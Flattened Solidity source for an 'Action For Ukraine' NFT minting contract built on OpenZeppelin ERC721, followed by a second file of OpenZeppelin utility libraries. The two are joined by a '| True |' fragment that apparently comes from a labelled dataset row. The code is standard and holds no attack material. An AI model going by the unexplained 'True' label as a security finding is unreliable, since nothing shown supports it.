function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: contracts/Action 4 Ukraine.sol
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
The developer will not be responsible or liable for all loss or
damage whatsoever caused by you participating in any way in the
experimental code, whether putting money into the contract or
using the code for your own project.
*/
pragma solidity >=0.7.0 <0.9.0;
contract ActionForUkraine is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.04 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmountPerTx = 100;
bool public paused = false;
bool public revealed = true;
constructor() ERC721("Action For Ukraine", "A4U") {
setHiddenMetadataUri("ipfs://Qmagh3eduEQ5qkdRxhneWCSDYG7bdZHVbCJjBzJhEvVJsE/Hidden.json");
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
_;
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
_mintLoop(_receiver, _mintAmount);
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(_tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix))
: "";
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public onlyOwner {
// This will transfer the remaining contract balance to the owner.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-30
*/
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
